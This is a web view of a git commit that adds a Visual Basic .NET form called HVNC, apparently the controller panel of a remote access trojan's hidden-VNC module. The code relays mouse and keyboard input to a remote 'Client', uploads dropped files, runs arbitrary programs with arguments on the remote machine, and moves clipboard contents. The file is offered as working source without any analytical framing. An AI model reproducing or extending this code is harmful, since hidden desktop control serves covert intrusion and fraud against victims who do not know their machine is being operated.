initial commit
This commit is contained in:
i2p
@@ -0,0 +1,280 @@
|
||||
Imports System.Text
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
Imports System.Threading
|
||||
Public Class HVNC
|
||||
|
||||
Public C As Client
|
||||
|
||||
Public Width As Integer
|
||||
Public Height As Integer
|
||||
|
||||
|
||||
|
||||
Private int_0 As Integer
|
||||
Private bool_1 As Boolean
|
||||
Private bool_2 As Boolean
|
||||
|
||||
|
||||
Private int_1 As Integer
|
||||
Private bool_3 As Boolean
|
||||
Private bool_4 As Boolean
|
||||
|
||||
Public FPS As Integer = 0
|
||||
Public sw As Stopwatch = Stopwatch.StartNew()
|
||||
Public Property VNCBoxe() As PictureBox
|
||||
Get
|
||||
Return PictureBox1
|
||||
End Get
|
||||
Set(value As PictureBox)
|
||||
PictureBox1 = value
|
||||
End Set
|
||||
End Property
|
||||
Private Sub Form2_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
|
||||
AddHandler MyBase.MouseWheel, AddressOf MyMouseWheel
|
||||
|
||||
PictureBox1.AllowDrop = True
|
||||
Guna2ComboBox2.SelectedIndex = 0
|
||||
Guna2ComboBox1.SelectedIndex = 0
|
||||
Guna2ComboBox3.SelectedIndex = 8
|
||||
Guna2ComboBox4.SelectedIndex = 0
|
||||
|
||||
Guna2GradientButton1.PerformClick()
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub MyMouseWheel(sender As Object, e As MouseEventArgs)
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim flag2 As Boolean = e.Delta < 0
|
||||
If flag2 Then
|
||||
Dim B As Byte() = SB("ScrollDown")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Else
|
||||
Dim B As Byte() = SB("ScrollUp")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseEnter(sender As Object, e As EventArgs) Handles PictureBox1.MouseEnter
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
PictureBox1.Focus()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseUp(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseUp
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
|
||||
Dim PP = New Point(e.X * (Width / PictureBox1.Width), e.Y * (Height / PictureBox1.Height))
|
||||
|
||||
If e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("MouseLeftUp" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
ElseIf e.Button = MouseButtons.Right Then
|
||||
Dim B As Byte() = SB("MouseRightUp" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
|
||||
|
||||
If bool_1 Then
|
||||
bool_1 = False
|
||||
Timer2.Start()
|
||||
ElseIf int_0 < SystemInformation.DoubleClickTime Then
|
||||
bool_2 = True
|
||||
End If
|
||||
|
||||
|
||||
If bool_3 Then
|
||||
bool_3 = False
|
||||
Timer3.Start()
|
||||
ElseIf int_1 < SystemInformation.DoubleClickTime Then
|
||||
bool_3 = True
|
||||
End If
|
||||
|
||||
|
||||
|
||||
Dim PP = New Point(e.X * (Width / PictureBox1.Width), e.Y * (Height / PictureBox1.Height))
|
||||
|
||||
If bool_3 Then
|
||||
|
||||
Dim B As Byte() = SB("MouseDoubleClick" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Return
|
||||
|
||||
Else
|
||||
|
||||
If bool_2 Then
|
||||
|
||||
If e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("MouseLeftDown" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
ElseIf e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("MouseLeftDown" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
ElseIf e.Button = MouseButtons.Right Then
|
||||
Dim B As Byte() = SB("MouseRightDown" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End If
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseMove(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseMove
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim PP = New Point(e.X * (Width / PictureBox1.Width), e.Y * (Height / PictureBox1.Height))
|
||||
Dim B As Byte() = SB("MouseMove" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_KeyPress(sender As Object, e As KeyPressEventArgs) Handles PictureBox1.KeyPress
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim B As Byte() = SB("KeyboardDown" & SettingsHelper.SPL & e.KeyChar)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Form2_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseHVNC")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
|
||||
int_0 += 100
|
||||
Dim flag As Boolean = int_0 >= SystemInformation.DoubleClickTime
|
||||
If flag Then
|
||||
bool_1 = True
|
||||
bool_2 = False
|
||||
int_0 = 0
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
|
||||
int_1 += 100
|
||||
Dim flag As Boolean = int_1 >= SystemInformation.DoubleClickTime
|
||||
If flag Then
|
||||
bool_3 = True
|
||||
bool_4 = False
|
||||
int_1 = 0
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_DragEnter(sender As Object, e As DragEventArgs) Handles PictureBox1.DragEnter
|
||||
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
||||
e.Effect = DragDropEffects.Copy
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_DragDrop(sender As Object, e As DragEventArgs) Handles PictureBox1.DragDrop
|
||||
Dim files() As String = e.Data.GetData(DataFormats.FileDrop)
|
||||
For Each path In files
|
||||
If IO.File.Exists(path) Then
|
||||
Dim B As Byte() = SB("DeskDrop" & SettingsHelper.SPL & IO.Path.GetFileName(path) & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(path))))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
|
||||
If Guna2GradientButton1.Text = "OFF" Then
|
||||
Guna2GradientButton1.Text = "Capturing..."
|
||||
Guna2GradientButton1.Image = My.Resources._Stop
|
||||
|
||||
Dim B As Byte() = SB("Cap" & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString & SettingsHelper.SPL & Conversions.ToString(Convert.ToDouble(Guna2ComboBox3.Text.Replace("%", "").ToString) / 100.0))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Else
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
Guna2GradientButton1.Image = My.Resources.Play
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton6_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton6.Click
|
||||
If Not String.IsNullOrEmpty(Guna2ComboBox2.Text) Then
|
||||
Dim B As Byte() = SB(Guna2ComboBox2.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
||||
Using form As CustomOpen = New CustomOpen
|
||||
form.Guna2TextBox1.PlaceholderText = "Filename"
|
||||
form.Guna2TextBox2.PlaceholderText = "Argument"
|
||||
form.StartPosition = FormStartPosition.CenterParent
|
||||
If form.ShowDialog() = DialogResult.OK Then
|
||||
Dim B As Byte() = SB("CustomOpen" & SettingsHelper.SPL & form.Guna2TextBox1.Text & SettingsHelper.SPL & form.Guna2TextBox2.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Using
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
|
||||
Try
|
||||
Dim B As Byte() = SB("CopyClib" & SettingsHelper.SPL & Windows.Forms.Clipboard.GetText)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton4_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton4.Click
|
||||
Try
|
||||
Dim B As Byte() = SB("Paste" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(Windows.Forms.Clipboard.GetText)))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Select Case Guna2ComboBox4.Text
|
||||
Case "Close"
|
||||
Dim B As Byte() = SB("CloseWindow")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Case "Maximize"
|
||||
Dim B As Byte() = SB("RestoreMaxTop")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Case "Minimize"
|
||||
Dim B As Byte() = SB("MinTop")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Select
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user